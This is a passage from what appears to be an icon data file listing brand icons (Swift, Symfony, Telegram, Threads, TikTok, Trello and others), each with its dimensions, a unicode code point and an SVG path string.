38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z"],
	"swift": [448, 512, [], "f8e1", "M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z"],
	"symfony": [512, 512, [], "f83d", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z"],
	"teamspeak": [512, 512, [], "f4f9", "M244.2 346.79c2.4-12.3-12-30-32.4-48.7-20.9-19.2-48.2-39.1-63.4-46.6-21.7-12-41.7-1.8-46.3 22.7-5 26.2 0 51.4 14.5 73.9 10.2 15.5 25.4 22.7 43.4 24 11.6.6 52.5 2.2 61.7-1 11.9-4.3 20.1-11.8 22.5-24.3zm205 20.8a5.22 5.22 0 0 0-8.3 2.4c-8 25.4-44.7 112.5-172.1 121.5-149.7 10.5 80.3 43.6 145.4-6.4 22.7-17.4 47.6-35 46.6-85.4-.4-10.1-4.9-26.69-11.6-32.1zm62-122.4c-.3-18.9-8.6-33.4-26-42.2-2.9-1.3-5-2.7-5.9-6.4A222.64 222.64 0 0 0 438.9 103c-1.1-1.5-3.5-3.2-2.2-5 8.5-11.5-.3-18-7-24.4Q321.4-31.11 177.4 13.09c-40.1 12.3-73.9 35.6-102 67.4-4 4.3-6.7 9.1-3 14.5 3 4 1.3 6.2-1 9.3C51.6 132 38.2 162.59 32.1 196c-.7 4.3-2.9 6-6.4 7.8-14.2 7-22.5 18.5-24.9 34L0 264.29v20.9c0 30.8 21 50.4 51.8 49 7.7-.3 11.7-4.3 12-11.5 2-77.5-2.4-95.4 3.7-125.8C92.1 72.39 234.3 5 345.3 65.39 411.4 102 445.7 159 447.6 234.79c.8 28.2 0 56.5 0 84.6 0 7 2.2 12.5 9.4 14.2 24.1 5 49.2-12 53.2-36.7 2.9-17.1 1-34.5 1-51.7zm-159.6 131.5c36.5 2.8 59.3-28.5 58.4-60.5-2.1-45.2-66.2-16.5-87.8-8-73.2 28.1-45 54.9-22.2 60.8z"],
	"telegram": [496, 512, [], "f2c6", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm121.8 169.9l-40.7 191.8c-3 13.6-11.1 16.9-22.4 10.5l-62-45.7-29.9 28.8c-3.3 3.3-6.1 6.1-12.5 6.1l4.4-63.1 114.9-103.8c5-4.4-1.1-6.9-7.7-2.5l-142 89.4-61.2-19.1c-13.3-4.2-13.6-13.3 2.8-19.7l239.1-92.2c11.1-4 20.8 2.7 17.2 19.5z"],
	"telegram-plane": [448, 512, [], "f3fe", "M446.7 98.6l-67.6 318.8c-5.1 22.5-18.4 28.1-37.3 17.5l-103-75.9-49.7 47.8c-5.5 5.5-10.1 10.1-20.7 10.1l7.4-104.9 190.9-172.5c8.3-7.4-1.8-11.5-12.9-4.1L117.8 284 16.2 252.2c-22.1-6.9-22.5-22.1 4.6-32.7L418.2 66.4c18.4-6.9 34.5 4.1 28.5 32.2z"],
	"tencent-weibo": [384, 512, [], "f1d5", "M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z"],
	"the-red-yeti": [512, 512, [], "f69d", "M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z"],
	"themeco": [448, 512, [], "f5c6", "M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z"],
	"themeisle": [512, 512, [], "f2b2", "M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z"],
	"think-peaks": [576, 512, [], "f731", "M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z"],
	"threads": [448, 512, [], "e9cb", "M331.5 235.7c2.2 .9 4.2 1.9 6.3 2.8c29.2 14.1 50.6 35.2 61.8 61.4c15.7 36.5 17.2 95.8-30.3 143.2c-36.2 36.2-80.3 52.5-142.6 53h-.3c-70.2-.5-124.1-24.1-160.4-70.2c-32.3-41-48.9-98.1-49.5-169.6V256v-.2C17 184.3 33.6 127.2 65.9 86.2C102.2 40.1 156.2 16.5 226.4 16h.3c70.3 .5 124.9 24 162.3 69.9c18.4 22.7 32 50 40.6 81.7l-40.4 10.8c-7.1-25.8-17.8-47.8-32.2-65.4c-29.2-35.8-73-54.2-130.5-54.6c-57 .5-100.1 18.8-128.2 54.4C72.1 146.1 58.5 194.3 58 256c.5 61.7 14.1 109.9 40.3 143.3c28 35.6 71.2 53.9 128.2 54.4c51.4-.4 85.4-12.6 113.7-40.9c32.3-32.2 31.7-71.8 21.4-95.9c-6.1-14.2-17.1-26-31.9-34.9c-3.7 26.9-11.8 48.3-24.7 64.8c-17.1 21.8-41.4 33.6-72.7 35.3c-23.6 1.3-46.3-4.4-63.9-16c-20.8-13.8-33-34.8-34.3-59.3c-2.5-48.3 35.7-83 95.2-86.4c21.1-1.2 40.9-.3 59.2 2.8c-2.4-14.8-7.3-26.6-14.6-35.2c-10-11.7-25.6-17.7-46.2-17.8H227c-16.6 0-39 4.6-53.3 26.3l-34.4-23.6c19.2-29.1 50.3-45.1 87.8-45.1h.8c62.6 .4 99.9 39.5 103.7 107.7l-.2 .2zm-156 68.8c1.3 25.1 28.4 36.8 54.6 35.3c25.6-1.4 54.6-11.4 59.5-73.2c-13.2-2.9-27.8-4.4-43.4-4.4c-4.8 0-9.6 .1-14.4 .4c-42.9 2.4-57.2 23.2-56.2 41.8l-.1 .1z"],
	"threads-square": [448, 512, [], "e9cc", "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM294.2 244.3c19.5 9.3 33.7 23.5 41.2 40.9c10.4 24.3 11.4 63.9-20.2 95.4c-24.2 24.1-53.5 35-95.1 35.3h-.2c-46.8-.3-82.8-16.1-106.9-46.8C91.5 341.8 80.4 303.7 80 256v-.1-.1c.4-47.7 11.5-85.7 33-113.1c24.2-30.7 60.2-46.5 106.9-46.8h.2c46.9 .3 83.3 16 108.2 46.6c12.3 15.1 21.3 33.3 27 54.4l-26.9 7.2c-4.7-17.2-11.9-31.9-21.4-43.6c-19.4-23.9-48.7-36.1-87-36.4c-38 .3-66.8 12.5-85.5 36.2c-17.5 22.3-26.6 54.4-26.9 95.5c.3 41.1 9.4 73.3 26.9 95.5c18.7 23.8 47.4 36 85.5 36.2c34.3-.3 56.9-8.4 75.8-27.3c21.5-21.5 21.1-47.9 14.2-64c-4-9.4-11.4-17.3-21.3-23.3c-2.4 18-7.9 32.2-16.5 43.2c-11.4 14.5-27.7 22.4-48.4 23.5c-15.7 .9-30.8-2.9-42.6-10.7c-13.9-9.2-22-23.2-22.9-39.5c-1.7-32.2 23.8-55.3 63.5-57.6c14.1-.8 27.3-.2 39.5 1.9c-1.6-9.9-4.9-17.7-9.8-23.4c-6.7-7.8-17.1-11.8-30.8-11.9h-.4c-11 0-26 3.1-35.6 17.6l-23-15.8c12.8-19.4 33.6-30.1 58.5-30.1h.6c41.8 .3 66.6 26.3 69.1 71.8c1.4 .6 2.8 1.2 4.2 1.9l.1 .5zm-71.8 67.5c17-.9 36.4-7.6 39.7-48.8c-8.8-1.9-18.6-2.9-29-2.9c-3.2 0-6.4 .1-9.6 .3c-28.6 1.6-38.1 15.5-37.4 27.9c.9 16.7 19 24.5 36.4 23.6l-.1-.1z"],
	"tiktok": [448, 512, [], "e07b", "M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z"],
	"trade-federation": [496, 512, [], "f513", "M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z"],
	"trello": [448, 512, [], "f181", "M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z"],
